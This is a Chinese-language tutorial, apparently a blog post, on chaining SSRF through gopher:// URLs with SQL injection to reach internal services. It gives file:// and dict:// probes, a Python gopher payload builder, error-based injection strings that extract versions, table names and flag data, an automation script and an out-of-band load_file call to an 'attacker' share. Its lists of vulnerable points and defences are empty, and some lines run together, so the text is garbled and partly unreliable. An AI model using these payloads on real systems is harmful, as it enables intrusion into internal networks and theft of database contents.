第一次接触SSRF漏洞时,我完全被它强大的内网穿透能力震惊了。想象一下,你手里拿着一个能打开任何内网大门的万能钥匙,这就是SSRF给攻击者带来的感觉。简单来说,SSRF(Server-Side Request Forgery)服务端请求伪造,就是让服务器帮你发送请求,而Gopher协议则是这个过程中的"隐形传送门"。
Gopher协议可能很多人不熟悉,这个诞生于1991年的老古董,在现代Web应用中几乎绝迹,但恰恰是这种冷门协议,成了SSRF攻击的绝佳跳板。它的神奇之处在于能构造任意格式的TCP数据包,就像是用乐高积木拼出各种形状。我在实际测试中发现,通过精心构造的Gopher URL,可以完美模拟HTTP请求,直接与内网服务对话。
这里有个很形象的比喻:如果把内网比作一个戒备森严的城堡,SSRF就是骗守门人帮你送信,而Gopher协议则是把信伪装成官方文件的样子。去年我在某次渗透测试中,就靠着这个组合拳,成功绕过了三层网络隔离。
搭建测试环境时,我推荐使用Docker快速部署一个带漏洞的Web应用。这里分享一个我常用的配置:
dockerfile复制FROM ubuntu:20.04
RUN apt-get update && apt-get install -y apache2 php libapache2-mod-php
COPY vulnerable_site /var/www/html/
EXPOSE 80
关键是要模拟出存在SSRF漏洞的端点,比如一个接收URL参数的接口。常见的漏洞点包括:
在靶场中,我通常会先尝试这些测试向量:
code复制http://example.com/fetch?url=file:///etc/passwd
http://example.com/export?target=dict://localhost:3306
当发现服务响应时间有明显差异时,基本可以确认SSRF存在。有次我遇到个特别隐蔽的案例,只有用0字节长度文件触发时才暴露漏洞,这个坑让我折腾了大半天。
Gopher协议的魔力在于它的极简设计。一个标准的Gopher URL长这样:
code复制gopher://<host>:<port>/<gopher-path>_后接TCP数据
那个下划线"_"后面的部分就是可以自由发挥的空间。我整理了几个关键要点:
这是我常用的Python转换脚本片段:
python复制import urllib.parse
def build_gopher(payload):
cmd = "POST /index.php HTTP/1.1\r\n"
cmd += "Host: 127.0.0.1\r\n"
cmd += f"Content-Length: {len(payload)}\r\n\r\n"
cmd += payload
return "gopher://127.0.0.1:80/_" + urllib.parse.quote(cmd)
记得有次比赛,我因为漏了最后的\r\n\r\n,导致请求一直失败,这个细节坑了不少人。
当SSRF遇上SQL注入,就像给弓箭手配上了瞄准镜。通过Gopher协议,我们可以精确控制注入payload的每个字节。实战中我总结出几个关键阶段:
第一阶段:信息收集
code复制admin') and (select 1 from dual where 1=1)--
第二阶段:版本探测
code复制admin') and extractvalue(1,concat(0x7e,(select @@version),0x7e))--
第三阶段:数据提取
这里有个技巧,当遇到数据截断时,可以用substr分片获取:
python复制for i in range(1,100,10):
payload = f"admin') and extractvalue(1,concat(0x7e,(select substr(flag,{i},10) from flag),0x7e))--"
print(build_gopher(payload))
去年某次真实渗透中,我就是用这种方法逐字节爬取了整个用户数据库。特别要注意的是,Gopher请求的响应不会直接返回,需要通过时间盲注或者错误回显来判断结果。
让我们还原一个完整的攻击场景:
发现SSRF入口点
访问/use.php发现参数url可控
确认Gopher可用
code复制http://target/use.php?url=gopher://127.0.0.1:80/_test
构造SQL注入Payload
先用简单语句测试注入点:
python复制"uname=admin'--&passwd=any"
转换Gopher格式
使用之前的Python脚本进行编码转换
分阶段获取数据
这是我常用的表名枚举模板:
sql复制SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()
遇到过一个有趣的案例,目标系统过滤了空格,我用/**/替代后成功绕过,这种小技巧在实际中很实用。
站在防守方角度,我总结了几种有效的防护方案:
但道高一尺魔高一丈,我见过几种聪明的绕过方式:
最绝的一次是看到有人用DNS rebinding技术,完全绕过了IP限制,这种手法现在仍然有效。
手工构造Gopher请求太费时,我整理了自动化工具包:
python复制import requests
target = "http://target/use.php"
payload = build_gopher("uname=admin'--")
r = requests.get(target, params={"url": payload})
print(r.text)
对于大规模测试,我建议结合Burp Suite的Intruder模块,用集群爆破的方式快速定位注入点。有个小技巧:在Burp中配置Gopher请求时,要先把%25替换成%,否则二次编码会导致失败。
在这条路上我踩过的坑不计其数,分享几个典型案例:
问题1:请求总是超时
问题2:注入无回显
and sleep(5)--load_file('\\\\attacker\\share\\test')问题3:特殊字符被过滤
0x61646d696e代替adminadmin'/**/and/**/1=1--记得有次比赛,我花了三小时才发现是防火墙过滤了%0A字符,改用%0D后立即成功。这种细节往往决定成败。